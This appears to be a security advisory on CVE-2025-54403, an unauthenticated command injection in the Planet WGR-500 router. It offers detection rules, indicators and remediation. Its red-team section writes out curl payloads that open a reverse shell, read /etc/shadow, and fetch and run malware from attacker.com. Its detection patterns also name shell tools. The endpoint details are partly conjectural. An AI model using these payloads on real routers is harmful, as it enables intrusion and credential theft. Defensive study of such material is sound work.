CVE-2025-54403

Executive Summary

CVE-2025-54403 is a critical OS command injection vulnerability affecting the Planet WGR-500 router, specifically firmware version v1.3411b190912. The flaw resides in the swctrl functionality, where the new_password request parameter is improperly sanitized, allowing an unauthenticated attacker to inject arbitrary operating system commands. With a CVSS score of 8.8, this vulnerability enables full remote code execution (RCE) on the device, potentially leading to complete compromise of the router and the network it serves. No public exploit code or patch is currently available, making this a high-priority zero-day threat for organizations using this hardware.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation (no authentication required) and the severe impact on confidentiality, integrity, and availability. An attacker can execute arbitrary commands with the privileges of the web server, typically root, leading to full device takeover.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the swctrl endpoint of the Planet WGR-500 router. The new_password parameter is passed directly to a system shell command without proper sanitization or escaping. For example, the backend might execute a command like:

echo "new_password" | passwd --stdin admin

If an attacker sends a payload such as new_password=test;id, the shell interprets the semicolon as a command separator, executing id after the intended password change. This allows arbitrary command execution.

The swctrl functionality is likely a proprietary control interface for managing router settings. The lack of input validation and the use of shell commands to handle password changes are the root causes.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import subprocess
def change_password(new_password):
    cmd = f"echo {new_password} | passwd --stdin admin"
    subprocess.call(cmd, shell=True)

Patched Code (Conceptual):

import subprocess
def change_password(new_password):
    # Use parameterized commands or proper escaping
    cmd = ["passwd", "--stdin", "admin"]
    proc = subprocess.Popen(cmd, stdin=subprocess.PIPE)
    proc.communicate(input=new_password.encode())

The patched version avoids shell injection by using a list-based command and passing the password via stdin, preventing shell interpretation of special characters.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• Target: Planet WGR-500 router with firmware v1.3411b190912
• Attacker: Kali Linux machine on the same network
• Tools: curl, netcat, Burp Suite

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -X POST http://<router-ip>/swctrl -d "action=set_password&new_password=test"
   

2. Inject a command to spawn a reverse shell:

   curl -X POST http://<router-ip>/swctrl -d "action=set_password&new_password=test;bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"
   

3. Start a listener on the attacker machine:

   nc -lvnp 4444
   

4. Execute the request to receive a shell on the router.

Alternative Payloads:

• new_password=test;id (test command execution)
• new_password=test;cat /etc/shadow (extract password hashes)
• new_password=test;wget http://attacker.com/malware -O /tmp/malware && chmod +x /tmp/malware && /tmp/malware (deploy malware)

Blue Team (Detection & Response)

Detection Steps:

1. Monitor HTTP POST requests to /swctrl with unusual new_password values (e.g., containing shell metacharacters like ;, |, &, `).
2. Look for outbound connections from the router to unknown IPs on high ports (e.g., 4444).
3. Check for unexpected processes spawned by the web server (e.g., bash, sh, nc).

Response:

• Immediately isolate the affected router from the network.
• Review logs for signs of compromise.
• If possible, downgrade firmware or apply vendor workaround.
• Reset all credentials and monitor for lateral movement.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /swctrl with new_password containing shell metacharacters.
  • Outbound connections from the router to attacker-controlled IPs on ports 4444, 8080, etc.
  • Unusual DNS queries from the router.

• Host IOCs:

  • Unexpected processes: bash, sh, nc, python, perl running as root.
  • Modified system binaries or scripts in /tmp or /var.
  • New user accounts or modified /etc/passwd.

• File IOCs:

  • Files in /tmp with suspicious names (e.g., malware, exploit).
  • Unusual entries in /var/log/messages or /var/log/syslog.

Detection Engineering

YARA Rule

rule CVE_2025_54403_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Planet WGR-500 swctrl new_password parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54403"
    strings:
        $injection1 = /new_password=.*[;&|`$]/
        $injection2 = /new_password=.*\b(bash|sh|nc|wget|curl|python|perl)\b/
        $injection3 = /new_password=.*\/dev\/tcp\//
    condition:
        any of them
}

Sigma Rule

title: Planet WGR-500 Command Injection via swctrl
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts against Planet WGR-500 router swctrl endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54403
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/swctrl'
        cs-uri-query|contains|all:
            - 'new_password='
            - ';'
            - '|'
            - '&'
    condition: selection
falsepositives:
    - Legitimate password changes with special characters (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54403 Planet WGR-500 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/swctrl"; http_uri; content:"new_password="; http_client_body; pcre:"/new_password=.*[;&|`$]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Disconnect Planet WGR-500 routers from the network until a patch is available.
2. Implement WAF rules: Block HTTP POST requests to /swctrl with suspicious new_password values.
3. Monitor logs: Actively search for exploitation attempts using the provided detection rules.

Long-term Fix:

• Vendor patch: Await an official firmware update from Planet that properly sanitizes the new_password parameter.
• Workaround: If patching is not possible, disable the swctrl functionality or restrict access to it via firewall rules (e.g., allow only from trusted IPs).

Compensating Controls:

• Use network segmentation to limit exposure of the router.
• Deploy an IDS/IPS with the provided Suricata rule.
• Regularly audit router configurations and logs.

Valters IT